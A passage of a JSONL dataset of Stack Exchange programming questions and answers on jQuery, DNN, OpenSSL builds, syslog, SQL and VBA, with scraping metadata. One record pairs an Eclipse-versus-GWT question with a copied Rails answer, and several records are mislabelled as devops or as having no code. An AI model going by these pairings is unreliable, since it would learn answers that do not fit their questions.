parent. If they don't, and you don't have nested CSS rules that care where in the DOM the\n```\n#menu\n```\nelement is, use:\n```\n```\n$(this).append($(\"#menu\"));\n```\n```\njust before the line that positions the\n```\n#menu\n```\nelement.\nBut it still doesn't work!\nYou might have some weird layout that doesn't work with this approach. In that case, just use\njQuery.ui's position plugin\n(as mentioned in an\nanswer\nbelow), which handles every conceivable eventuality. Note that you'll have to\n```\nshow()\n```\nthe menu element before calling\n```\nposition({...})\n```\n; the plugin can't position hidden elements.\nUpdate notes 3 years later in 2012:\n(The original solution is archived\nhere\nfor posterity)\nSo, it turns out that the original method I had here was far from ideal. In particular, it would fail if:\nthe menu's offset parent is not the placeholder's offset parent\nthe placeholder has a border/padding\nLuckily, jQuery introduced methods (\n```\nposition()\n```\nand\n```\nouterWidth()\n```\n) way back in 1.2.6 that make finding the right values in the latter case here a lot easier. For the former case,\n```\nappend\n```\ning the menu element to the placeholder works (but will break CSS rules based on nesting).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.277153"}
{"id": "hf_f3c467ec47ec", "question": "<p>I've got a couple DNN portals I manage and I need a solution to keep them \"alive\" during slack traffic times.  After a given time of inactivity IIS will unload the DNN application from memory which will effect load time for the first client request.  DNN has the \"KeepAlive.aspx\" file that I hit with a wget command from a CRON job every 5 minutes.  I'm dubious of the effectiveness of the this method.  Does anyone have any others ideas?</p>\n", "question_body": "", "answer": "In the Global application start event, you could set up a cache item or timer with a timeout of 5 minutes, and in the callback code, ping a simple page that should return HTTP 200 - reset the cache/timer, and repeat.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.302110"}
{"id": "hf_d64bddc2ea2f", "question": "<p>They both seem to fulfill the same purpose. When would I chose one over the other?</p>\n", "question_body": "", "answer": "Use the events when you've got a thread that is waiting on one of or all of a number of events to do something.\nUse the monitor if you want to restrict access to a data structure by limiting how many threads can access it.\nMonitors usually protect a resource, whereas events tell you something's happening, like the application shutting down.\nAlso, events can be named (see the OpenExisting method), this allows them to be used for synchronization across different processes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.383990"}
{"id": "hf_5d16f6e11737", "question": "<p>Is there a way to validate on the client side browser whether the size of a file being uploaded from a JSP page is over a set size limit without forcing the user to upload the entire file only to find out it was too large?</p>\n\n<p>I would like to stay away from any proprietary controls or techniques like Flash or ActiveX if possible.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "This isn't a perfect solution, but if you check the Content-Length HTTP header with\n```\nrequest.getHeader(\"Content-Length\")\n```\nthen you can choose to not transfer the entire file.\nBy way of explanation, an extremely large file will not be transferred all at once.  You'd have to actually open a stream representing that chunk of POST data and read from it for the entire thing to be transfered.\nOn the other hand, if you're worried about denial-of-service attacks, then you can't really trust the Content-Length header, because it can easily be forged.  In this case, you should set a limit and stream a transfer of this file, stopping as soon as you've exceeded that limit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.419060"}
{"id": "hf_88de28a6cdfe", "question": "<p>I have a .NET TCP Client that sends high volumes of messages to a (.NET async) TCP server.</p>\n\n<p>I need to keep sending messages to the server but I run out of ports on the client due to TIME_WAIT.  </p>\n\n<p>How can a program continually and reliably send messages without using all of the available ports?</p>\n\n<p>Is there a method to keep reusing the same socket.  I have looked at Disconnect() and the REUSEADDRESS socket flag but cannot find any good examples of their use.  In fact most sources say not to use Disconnect as it is for lower level use (i.e. it only recycles the socket handle).</p>\n\n<p>I'm thinking that I need to switch to UDP or perhaps there is a method using C++ and IOCP?</p>\n", "question_body": "", "answer": "Can your client just keep the same socket open and send messages in a loop?\n```\n```\nopen socket connection\n\nwhile(running)\n    send messages over socket\n\nclose socket connection\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.470274"}
{"id": "hf_fc731f76b48a", "question": "<p>We could also include IFrames as well.</p>\n", "question_body": "", "answer": "With standard frames/frameset:\nBookmarking can be difficult to accomplish.\nThe Back button can be broken.\nArrival from search engines could be into an inner frame.\nPrinting won't work the same across browsers.\nScrollbars could be in non-standard/unexpected places.\nMore here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.494005"}
{"id": "hf_32ba460172fc", "question": "<p><a href=\"http://www.techonthenet.com/oracle/functions/trunc_date.php]\" rel=\"noreferrer\">This page</a> mentions how to trunc a timestamp to minutes/hours/etc. in Oracle.</p>\n\n<p>How would you trunc a timestamp to seconds in the same manner?</p>\n", "question_body": "", "answer": "Since the precision of\n```\nDATE\n```\nis to the second (and no fractions of seconds), there is no need to\n```\nTRUNC\n```\nat all.\nThe data type\n```\nTIMESTAMP\n```\nallows for fractions of seconds.  If you convert it to a\n```\nDATE\n```\nthe fractional seconds will be removed - e.g.\n```\n```\nselect cast(systimestamp as date) \n  from dual;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.554869"}
{"id": "hf_9f879fe470cd", "question": "<p>After following the instructions in INSTALL.W64 I have two problems:</p>\n\n<ul>\n<li>The code is still written to the \"out32\" folder. I need to be able to link to both 32-bit and 64-bit versions of the library on my workstation, so I don't want the 64-bit versions to clobber the 32-bit libs.</li>\n<li>The output is still 32-bit! This means that I get \"unresolved external symbol\" errors when trying to link to the libraries from an x64 app.</li>\n</ul>\n", "question_body": "", "answer": "To compile the static libraries (both release and debug), this is what you need to do:\nInstall Perl -\nwww.activestate.com\nRun the \"Visual Studio 2008 x64 Cross Tools Command Prompt\" (Note: The regular command prompt WILL NOT WORK.)\nConfigure with\nperl Configure VC-WIN64A no-shared no-idea\nRun: ms\\do_win64a\nEDIT ms\\nt.mak and change \"32\" to \"64\" in the output dirs:\n```\n# The output directory for everything intersting\n    OUT_D=out64.dbg\n    # The output directory for all the temporary muck\n    TMP_D=tmp64.dbg\n    # The output directory for the header files\n    INC_D=inc64\n    INCO_D=inc64\\openssl\n```\nEDIT ms\\nt.mak and remove bufferoverflowu.lib from EX_LIBS if you get an error about it.\nRun: nmake -f ms\\nt.mak\nEDIT the ms\\do_win64a file and ADD \"debug\" to all lines, except the \"ml64\" and the last two lines\nRun: ms\\do_win64a\nRepeat steps 4 and 5\nEDIT the ms\\nt.mak file and ADD /Zi to the CFLAG list!\nRun: nmake -f ms\\nt.mak", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.629644"}
{"id": "hf_b91df17343cc", "question": "<p>What I want to do is to remove all accents and umlauts from a string, turning \"lärm\" into \"larm\" or \"andré\" into \"andre\". What I tried to do was to utf8_decode the string and then use strtr on it, but since my source file is saved as UTF-8 file, I can't enter the ISO-8859-15 characters for all umlauts - the editor inserts the UTF-8 characters.</p>\n\n<p>Obviously a solution for this would be to have an include that's an ISO-8859-15 file, but there must be a better way than to have another required include?</p>\n\n<pre><code>echo strtr(utf8_decode($input), \n           'ŠŒŽšœžŸ¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ',\n           'SOZsozYYuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy');\n</code></pre>\n\n<p><strong>UPDATE:</strong> Maybe I was a bit inaccurate with what I try to do: I do not actually want to remove the umlauts, but to replace them with their closest \"one character ASCII\" equivalent.</p>\n", "question_body": "", "answer": "Okay, found an obvious solution myself, but it's not the best concerning performance...\n```\n```\necho strtr(utf8_decode($input), \n           utf8_decode('ŠŒŽšœžŸ¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ'),\n           'SOZsozYYuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.653641"}
{"id": "hf_4ed7888e3bf0", "question": "<p>I have a basic model in which i have specified some of the fields to validate the presence of. in the create action in the controller i do the standard:</p>\n\n<pre><code>@obj = SomeObject.new(params[:some_obj])\n\nif @obj.save\n  flash[:notice] = \"ok\"\n  redirect...\nelse\n  flash[:error] = @obj.errors.full_messages.collect { |msg| msg + \"&lt;br/&gt;\" }\n  redirect to new form\nend\n</code></pre>\n\n<p>however when i redirect to the new form, the errors show, but the fields are empty. is there a way to repopulate the fields with the entered values so the errors can be corrected easily?</p>\n", "question_body": "", "answer": "You\n```\nrender :action => :new\n```\nrather than redirecting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.788069"}
{"id": "hf_1886d70e12f5", "question": "<p>I am starting a project for which we will have a thin client, sending requests and getting responses from a server.</p>\n\n<p>We are still in the planning stages, so we have a choice to settle on either an Eclipse based GUI (Eclipse plugin) or using GWT as a fromtend for the application.</p>\n\n<p>I am not very familiar with Eclipse as a GUI (Nor with GWT) but do know 'normal' Java.</p>\n\n<p>What would be the main benefits and drawbacks of either approach?</p>\n\n<p><strong>Edit:</strong> Addressing the questions posed:</p>\n\n<ul>\n<li>The project, if Eclipse based, would be using the core Eclipse gui (No coding tools, just bare bones) and the GUI would be packaged with it.</li>\n<li>I have been looking at GWT and so far seems the best choice, but still have some research to do.</li>\n<li>Communication method is a variant of CORBA (In house libraries)</li>\n</ul>\n", "question_body": "", "answer": "You\n```\nrender :action => :new\n```\nrather than redirecting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.811504"}
{"id": "hf_8120d828d646", "question": "<p>I need to remove temp files on Tomcat startup, the pass to a folder which contains temp files is in applicationContext.xml.</p>\n\n<p>Is there a way to run a method/class only on Tomcat startup?</p>\n", "question_body": "", "answer": "You could write a\n```\nServletContextListener\n```\nwhich calls your method from the\n```\ncontextInitialized()\n```\nmethod. You attach the listener to your webapp in web.xml, e.g.\n```\n```\n<listener>\n   <listener-class>my.Listener</listener-class>\n</listener>\n```\n```\nand\n```\n```\npackage my;\n\npublic class Listener implements javax.servlet.ServletContextListener {\n\n   public void contextInitialized(ServletContext context) {\n      MyOtherClass.callMe();\n   }\n}\n```\n```\nStrictly speaking, this is only run once on webapp startup, rather than Tomcat startup, but that may amount to the same thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.835205"}
{"id": "hf_8b6dc98ef465", "question": "<p>Is there a way to turn this 'feature' off? </p>\n", "question_body": "", "answer": "Awesome, I just found it:\n```\nTools -> Options -> Sql Server Object Explorer -> General Scripting Options\n```\n```\nScript USE <database> -> False\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.858881"}
{"id": "hf_b585cae640b6", "question": "<p>I've got a request from a customer to automatically detect the type of mobile device (not the browser, the type. ex: Moto Q, Blackjack II, etc.) and automatically select the device from a drop down with a list of supported devices.</p>\n\n<p>So far I've found that the HTTP Headers (submitted by mobile IE) contain information such as</p>\n\n<ul>\n<li>Resolution</li>\n<li>UA-CPU (i've seen ARM from WM 2003 and x86 from WM5)</li>\n<li>User Agent (which basically just says Windows CE)</li>\n</ul>\n\n<p>The only thing I can think of right now is possibly using a combination of the resolution/cpu and making a \"best guess\"</p>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "What exactly does the customer mean by \"supported\". Surely it means that the phone in question supports the web application and it's inner functionality - wouldn't it be better then to forget device detection and simply focus on detecting those capabilities required for the app to function properly? For example, if my mobile website requires Ajax to work then instead of listing all the devices which are said to \"support Ajax\" I could do some simple object detection to find out for myself.\nDevice detection, just like browser detection is unreliable. Yes, it's possible but I wouldn't recomend it... on a project I've done we used the User Agent string to detect various devices. The indexOf javaScript method came in handy! :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:12.906249"}
{"id": "hf_8ed4b4047159", "question": "<p>Our company uses Citrix to remote into a terminal server for remote users to launch smart client apps within a virtual window on their machine.</p>\n\n<p>The problem is that smartclient apps are being downloaded each time the user launches them eventhough the version on the remote citrix server has not change.  This is due to the user's profile being purged each time they close their Citrix session.</p>\n\n<p>Is there any way to avoid this and still continue to purge the user's profile?  Not purging the profile leads to wasted space on the citrix servers and corrupt profile issues.</p>\n", "question_body": "", "answer": "I can't speak to details on Citrix servers.  However, with ClickOnce you have no say over where an application is installed.  It's installed under the user profile, no ifs, ands, or buts.  One of the major goals with ClickOnce was improved security and installing apps to the profile makes that easier.   So, if you're clearing the profile, you're stuck.\nHowever, couldn't you just deploy the app to the Citrix server without ClickOnce?  Most .Net apps can just be xcopy deployed, so it seems it would be pretty easy to write a few batch files to copy the latest deployment to your Citrix server and skip ClickOnce all together.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.002110"}
{"id": "hf_481f9e9ef41f", "question": "<p>I'm currently designing a brand new database. In school, we always learned to put a primary key in each table.</p>\n\n<p>I read a lot of articles/discussions/newsgroups posts saying that it's better to use unique constraint (aka unique index for some db) instead of PK.</p>\n\n<p>What's your point of view?</p>\n", "question_body": "", "answer": "Can you provide references to these articles?\nI see no reason to change the tried and true methods.  After all, Primary Keys are a fundamental design feature of relational databases.\nUsing UNIQUE to serve the same purpose sounds really hackish to me.  What is their rationale?\nEdit: My attention just got drawn back to this old answer.  Perhaps the discussion that you read regarding PK vs. UNIQUE dealt with people making something a PK for the sole purpose of enforcing uniqueness on it.  The answer to this is, If it IS a key, then make it key, otherwise make it UNIQUE.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.036849"}
{"id": "hf_2b68e19d3e0f", "question": "<p>I want to separate concerns here. Create and embed all the UI logic for the Custom XML designer, object model, validations etc in to a separate assembly. Then the Package framework should only register the designer information and ask for a UI Service and everything works magically.</p>\n\n<p>This way I don't need to play with the Package framework (Visual Studio Package) assembly, when I need to modify the UI designer.</p>\n\n<p>This question also applies to anything where you have to separate the UI logic from the Skeleton framework that loads it up, like a plugin.</p>\n\n<p>I have several choices a ServiceProvider model, a plugin model or may be other.</p>\n\n<p>Any samples, suggestions for patterns, links are welcome.</p>\n\n<p>Update 1: What I am looking for is a thought such as - \"Does Prism (Composite WPF) fit the bill? Has anyone worked on a project/application which does the separation of concerns just like I mentioned above? etc\" \n(I am still looking out for answers)</p>\n", "question_body": "", "answer": "What you're asking about seams very much like the separation of concerns that the\nMVC\npattern tries to enforce.\nASP.NET MVC\nis already out there with a\npreview 5\n.\nIt's mainly for web but I think they are planning on using it also for WinForms, but I'm not sure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.060752"}
{"id": "hf_bcd6560f05c7", "question": "<p>So I have a daemon running on a Linux system, and I want to have a record of its activities: a log. The question is, what is the \"best\" way to accomplish this?</p>\n\n<p>My first idea is to simply open a file and write to it.</p>\n\n<pre><code>FILE* log = fopen(\"logfile.log\", \"w\");\n/* daemon works...needs to write to log */\nfprintf(log, \"foo%s\\n\", (char*)bar);\n/* ...all done, close the file */\nfclose(log);\n</code></pre>\n\n<p>Is there anything inherently wrong with logging this way? Is there a better way, such as some framework built into Linux?</p>\n", "question_body": "", "answer": "Unix has had for a long while a special logging framework called\nsyslog\n. Type in your shell\n```\n```\nman 3 syslog\n```\n```\nand you'll get the help for the C interface to it.\nSome\nexamples\n```\n```\n#include <stdio.h>\n#include <unistd.h>\n#include <syslog.h>\n\nint main(void) {\n\n openlog(\"slog\", LOG_PID|LOG_CONS, LOG_USER);\n syslog(LOG_INFO, \"A different kind of Hello world ... \");\n closelog();\n\n return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.134663"}
{"id": "hf_705197297484", "question": "<p>Supposedly, it is possible to get this from Google Maps or some such service. (US addresses only is not good enough.)</p>\n", "question_body": "", "answer": "The term you're looking for is geocoding and yes Google does provide this service.\nNew V3 API\n:\nhttp://code.google.com/apis/maps/documentation/geocoding/\nOld V2 API:\nhttp://code.google.com/apis/maps/documentation/services.html#Geocoding", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.171748"}
{"id": "hf_c3dee38e0e5f", "question": "<p>This question is based on <a href=\"https://stackoverflow.com/questions/150514/custom-method-in-model-to-return-an-object\">another question of mine</a>(thankfully answered).</p>\n\n<p>So if in a model I have this:</p>\n\n<pre><code>def self.find_extended\n    person = Person.find(:first)\n    complete_name = person.firstname + ', ' + person.lastname\n    return person\nend\n</code></pre>\n\n<p>How can I inject complete name in the person object so in my controller/view I can access it by person.complete_name?</p>\n\n<p>Thank you for your time,<br>\nSilviu</p>\n", "question_body": "", "answer": "You could define:\n```\n```\nattr_accessor :complete_name\n```\n```\nin the person model and then just do\n```\nperson.complete_name= person.firstname + ', ' + person.lastname\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.211390"}
{"id": "hf_ca09f7513b5c", "question": "<p>How do I perform a network login, to access a shared driver for instance, programmatically in c#? The same can be achieved by either attempting to open a share through the explorer, or by the net use shell command.</p>\n", "question_body": "", "answer": "You'll need to use Windows Identity Impersonation, take a look at these links\nhttp://blogs.msdn.com/shawnfa/archive/2005/03/21/400088.aspx\nhttp://blogs.msdn.com/saurabhkv/archive/2008/05/29/windowsidentity-impersonation-using-c-code.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.235685"}
{"id": "hf_0d66948bcda5", "question": "<p>I have some formulas in my reports, and to prevent divsion by zero I do like this in the expression field:</p>\n\n<p>=IIF(Fields!F1.Value &lt;> 0, Fields!F2.Value/Fields!F1.Value, 0)</p>\n\n<p>This normally works fine, but when both F1 and F2 are zero, I get \"#Error\" in the report, and I get this warning: \"The Value expression for the textbox ‘textbox196’ contains an error: Attempted to divide by zero.\"</p>\n\n<p>Why is that?</p>\n", "question_body": "", "answer": "IIF() is just a function, and like with any function\nall\nthe arguments  are evaluated\nbefore\nthe function is called, including\n```\nFields!F2.Value/Fields!F1.Value\n```\n.  In other words, it will attempt to divide by zero in spite of the\n```\nFields!F1.Value <> 0\n```\ncondition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.271477"}
{"id": "hf_95bba32eec07", "question": "<p>I have a working LINQ to SQL model.  I want to be able to use the same model but with a connection to a DataSet object, instead of SQL Server.</p>\n\n<p>I need to be able to query the model, modify fields, as well as do insert and delete operations.  Is there an easy way to accomplish this?</p>\n\n<p>I noticed <a href=\"https://stackoverflow.com/questions/142762/is-there-a-datacontext-in-linq-to-entities-not-linq-to-sql\">another question</a> mentions a similar scenario, but I'm not sure if this applies to my question.</p>\n", "question_body": "", "answer": "You can use\nLINQ to DataSet\ndirectly but the LINQ to SQL query translator converts expression trees into SQL statements and that can't be changed.\nFor lists of inserts/updates/deletes for a given DataContext, you can call\n```\nDataContext.GetChangeSet()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.342701"}
{"id": "hf_10bdf3df9557", "question": "<p>Can you do a better code? I need to check/uncheck all childs according to parent and when an child is checked, check parent, when all childs are unchecked uncheck parent.</p>\n\n<pre><code>    $(\".parent\").children(\"input\").click(function() {\n    $(this).parent().siblings(\"input\").attr(\"checked\", this.checked);\n});\n\n$(\".parent\").siblings(\"input\").click(function() {\n    if (this.checked) {\n        $(this).siblings(\"div\").children(\"input\").attr(\"checked\", true);\n        return;\n    }\n\n    var childs = $(this).siblings(\"div\").siblings(\"input\");\n\n    for (i = 0; i &lt; childs.length; i++) {\n        if ($(childs.get(i)).attr(\"checked\"))\n            return;\n    }\n\n    $(this).parent().children(\"div\").children(\"input\").attr(\"checked\", false);\n});\n</code></pre>\n", "question_body": "", "answer": "```\n```\n$(\".parent\").children(\"input\").click(function() {\n    $(this).parent().siblings(\"input\").attr(\"checked\", this.checked);\n});\n\n$(\".parent\").siblings(\"input\").click(function() {\n    $(this).siblings(\"div\").children(\"input\").attr(\"checked\",\n        this.checked || $(this).siblings(\"input[checked]\").length>0\n    );\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.403716"}
{"id": "hf_8c6d077c787f", "question": "<p>I'm creating a networked server for a boggle-clone I wrote in python, which accepts users, solves the boards, and scores the player input.  The dictionary file I'm using is 1.8MB (the ENABLE2K dictionary), and I need it to be available to several game solver classes.  Right now, I have it so that each class iterates through the file line-by-line and generates a hash table(associative array), but the more solver classes I instantiate, the more memory it takes up.</p>\n\n<p>What I would like to do is import the dictionary file once and pass it to each solver instance as they need it.  But what is the best way to do this?  Should I import the dictionary in the global space, then access it in the solver class as globals()['dictionary']?  Or should I import the dictionary then pass it as an argument to the class constructor?  Is one of these better than the other?  Is there a third option?</p>\n", "question_body": "", "answer": "Even though it is essentially a singleton at this point, the usual arguments against globals apply.  For a pythonic singleton-substitute, look up the \"borg\" object.\nThat's really the only difference.  Once the dictionary object is created, you are only binding new references as you pass it along unless if you explicitly perform a deep copy.  It makes sense that it is centrally constructed once and only once so long as each solver instance does not require a private copy for modification.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.428448"}
{"id": "hf_7e99405b21c4", "question": "<p>In several cases I want to add a toolbar to the top of the iPhone keyboard (as in iPhone Safari when you're navigating form elements, for example).  </p>\n\n<p>Currently I am specifying the toolbar's rectangle with constants but because other elements of the interface are in flux - toolbars and nav bars at the top of the screen - every time we make a minor interface change, the toolbar goes out of alignment.</p>\n\n<p>Is there a way to programmatically determine the position of the keyboard in relation to the current view?</p>\n", "question_body": "", "answer": "There's no way (AFAIK) to get the dimensions of the keyboard view. It is however constant, at least in every iPhone version so far.\nIf you calculate the toolbar position as an offset from the BOTTOM of your view, and take the size of your view into account, then you should not have to worry whether a navbar is present or not.\nE.g.\n```\n```\n#define KEYBOARD_HEIGHT 240 // example - can't remember the exact size\n#define TOOLBAR_HEIGHT 30\n\ntoolBarRect.origin.y = viewRect.size.height - KEYBOARD_HEIGHT - TOOLBAR_HEIGHT;\n\n// move toolbar either directly or with an animation\n```\n```\nInstead of a define, you could easily create a\n```\nkeyboardHeight\n```\nfunction that returns the size based on whether the keyboard is being displayed, and move this toolbar positioning into a separate function that reorganizes your layout.\nAlso it can depend on where you do this positioning as it's possible the size of your view may change between being loaded and shown based on your navbar setup. I believe the best place to do it would be in viewWillAppear.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.489406"}
{"id": "hf_1fee6d28a256", "question": "<p>I am trying to add a timed delay in a C++ program, and was wondering if anyone has any suggestions on what I can try or information I can look at?</p>\n\n<p>I wish I had more details on how I am implementing this timed delay, but until I have more information on how to add a timed delay I am not sure on how I should even attempt to implement this.</p>\n", "question_body": "", "answer": "Do you want something as simple like:\n```\n```\n#include <unistd.h>\nsleep(3);//sleeps for 3 second\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.524691"}
{"id": "hf_06f2f708881e", "question": "<p>What VBA code is required to perform an HTTP POST from an Excel spreadsheet?</p>\n", "question_body": "", "answer": "You can use\n```\nServerXMLHTTP\n```\nin a VBA project by adding a reference to\n```\nMSXML\n```\n.\nOpen the VBA Editor (usually by editing a Macro)\nGo to the list of Available References\nCheck Microsoft XML\nClick OK.\n(from\nReferencing MSXML within VBA Projects\n)\nThe\nServerXMLHTTP MSDN documentation\nhas full details about all the properties and methods of ServerXMLHTTP.\nIn short though, it works basically like this:\nCall\nopen\nmethod to connect to the remote server\nCall\nsend\nto send the request.\nRead the response via\nresponseXML\n,\nresponseText\n,\nresponseStream\nor\nresponseBody", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.570191"}
{"id": "hf_bd45ece57de9", "question": "<p>You do you manage the same presenter working with different repositories using the MVP pattern? </p>\n\n<p>I just have multiple constructor overloads and the presenter simply uses the one that is suitable for the scenario. </p>\n\n<pre><code>AddCustomerPresenter presenter = new AddCustomerPresenter(this,customerRepository); \npresenter.AddCustomer(); \n\npresenter = new AddCustomerPresenter(this,archiveRepository); \npresenter.Archive(); \n</code></pre>\n", "question_body": "", "answer": "Why not have\n```\n```\nIRepository { /* .. */ }\nCustomerRepository : IRepository { /* .. */ }\nArchiveRepository : IRepository { /* .. */ }\n```\n```\nand then\n```\n```\nAddCustomerPresenter {\nIRepository Store {get;set;}\npublic AddCustomerPresenter(IRepository store) { /*...*/ }\n/*...*/\n}\n```\n```\nYour presenter should NOT have any static dependency on ANY implementation of IRepository.  If you find there's no other way, you need to rework your design because it's probably flawed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.607700"}
